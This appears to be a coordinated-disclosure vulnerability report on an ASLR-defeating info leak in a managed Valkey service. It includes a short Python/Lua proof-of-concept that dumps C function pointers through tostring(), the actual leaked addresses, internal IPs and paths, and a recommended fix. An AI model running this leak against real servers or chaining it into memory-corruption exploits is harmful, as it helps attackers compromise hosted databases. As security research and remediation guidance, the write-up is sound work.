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  <h1>ASLR Bypass via Lua Function Pointer Leak in Aiven Managed Valkey</h1>
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<section><div class="wrap"><div class="content">
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<h2>Summary</h2>
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<p>Any authenticated user on Aiven&rsquo;s managed Valkey service can leak heap/code segment memory addresses of the <code>valkey-server</code> process by calling <code>tostring()</code> on Lua function objects within an <code>EVAL</code> script. The <code>redis</code> and <code>server</code> tables in the Lua scripting environment expose 12+ C function pointers via their string representations (e.g., <code>function: 0x7f76122ca790</code>). These addresses defeat Address Space Layout Randomization (ASLR) for the server process.</p>
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<p>While this is an information disclosure finding on its own, it directly enables exploitation of any memory corruption vulnerability (such as the previously reported RESTORE listpack assertion bug) by providing the attacker with precise memory layout information needed to build reliable exploits.</p>
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<h2>Affected Target</h2>
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<ul>
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<li><strong>Service:</strong> Aiven for Valkey (Tier 1)</li>
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<li><strong>Version tested:</strong> Valkey 8.1.4</li>
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<li><strong>Instance:</strong> <host>:26161</li>
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</ul>
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<h2>Severity</h2>
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<p><strong>P3, Information Disclosure</strong></p>
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<p><strong>VRT:</strong> Server Security Misconfiguration &gt; Lack of Security Headers &gt; Information Disclosure</p>
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<p><strong>CVSS 3.1:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</code>, <strong>Score: 4.3 (Medium)</strong></p>
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<h2>Steps to Reproduce</h2>
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<pre><code class="language-python">import redis
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r = redis.Redis(
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    host=&quot;&lt;host&gt;&quot;, port=26161, username='default', password='&lt;password&gt;',
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    ssl=True, ssl_cert_reqs='required',
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    ssl_ca_certs='/etc/ssl/certs/ca-certificates.crt',
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    decode_responses=True, socket_timeout=10
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)
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result = r.execute_command('EVAL', '''
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    local ptrs = {}
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    for k,v in pairs(redis) do
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        if type(v) == &quot;function&quot; then
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            ptrs[#ptrs+1] = k .. &quot;=&quot; .. tostring(v)
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        end
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    end
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    table.sort(ptrs)
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    return ptrs
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''', 0)
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for ptr in result:
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    print(ptr)
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</code></pre>
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<p><strong>Actual output on Aiven:</strong></p>
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<pre><code>acl_check_cmd=function: 0x7f76122ca790
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breakpoint=function: 0x7f76122ca9a0
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call=function: 0x7f76122ca2b0
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debug=function: 0x7f76122ca8c0
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error_reply=function: 0x7f76122ca580
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log=function: 0x7f76122ca700
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pcall=function: 0x7f76122ca310
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register_function=function: 0x7f76122cab90
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replicate_commands=function: 0x7f76122caa30
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set_repl=function: 0x7f76122ca640
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sha1hex=function: 0x7f76122ca430
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status_reply=function: 0x7f76122ca4d0
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</code></pre>
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<p>These are actual virtual memory addresses of C functions in the <code>valkey-server</code> process. The addresses are in the <code>0x7f76122ca...</code> range, indicating they&rsquo;re in a dynamically loaded library segment, consistent with the Valkey executable or a loaded shared library.</p>
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<h2>Impact</h2>
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<ol>
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<li>
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<p><strong>ASLR defeat:</strong> Address Space Layout Randomization is the primary defense against memory corruption exploitation on modern Linux. Leaking function pointers reveals the base address of the code segment, allowing an attacker to calculate the address of any function or gadget.</p>
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</li>
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<li>
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<p><strong>Exploitation enabler:</strong> Combined with any memory corruption primitive (buffer overflow, use-after-free, or assertion-reachable state), these addresses enable reliable ROP chain construction or function pointer overwrite attacks.</p>
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</li>
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<li>
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<p><strong>Process-level information:</strong> The leaked addresses persist across multiple EVAL calls, confirming they belong to the long-running server process (not a sandboxed child). A server restart randomizes the addresses (confirmed via previous crash tests).</p>
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</li>
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<li>
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<p><strong>Additional info leaked via other commands:</strong>, <code>CLIENT LIST</code> reveals internal IPv6 address: <code>fda7:a938:5bfe:5fa6:0:5a8:649:f83d</code>, <code>MODULE LIST</code> reveals module path: <code>/usr/valkey-8.1/usr/lib64/modules/libjson.so</code>, <code>HELLO</code> reveals internal server configuration, <code>os.clock()</code> via Lua reveals process CPU time (1038+ seconds)</p>
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</li>
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</ol>
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<h2>Root Cause</h2>
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<p>Valkey&rsquo;s Lua sandbox does not override the default <code>tostring()</code> behavior for C function objects. In standard Lua 5.1, <code>tostring()</code> on a C function returns <code>"function: 0x&lt;address&gt;"</code> where the address is the actual memory address of the C function. The sandbox should either:
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- Override <code>tostring()</code> to return opaque identifiers for function objects
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- Remove function pointer addresses from the string representation
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- Block <code>tostring()</code> on the <code>redis</code>/<code>server</code> table entries</p>
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<h2>Recommended Fix</h2>
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<p>Patch the Lua sandbox to override <code>tostring()</code> for function values, returning a non-address identifier (e.g., <code>"function: redis.call"</code> instead of <code>"function: 0x7f76122ca2b0"</code>).</p>
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<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/aiven/valkey-aslr-leak.md</p>
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  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
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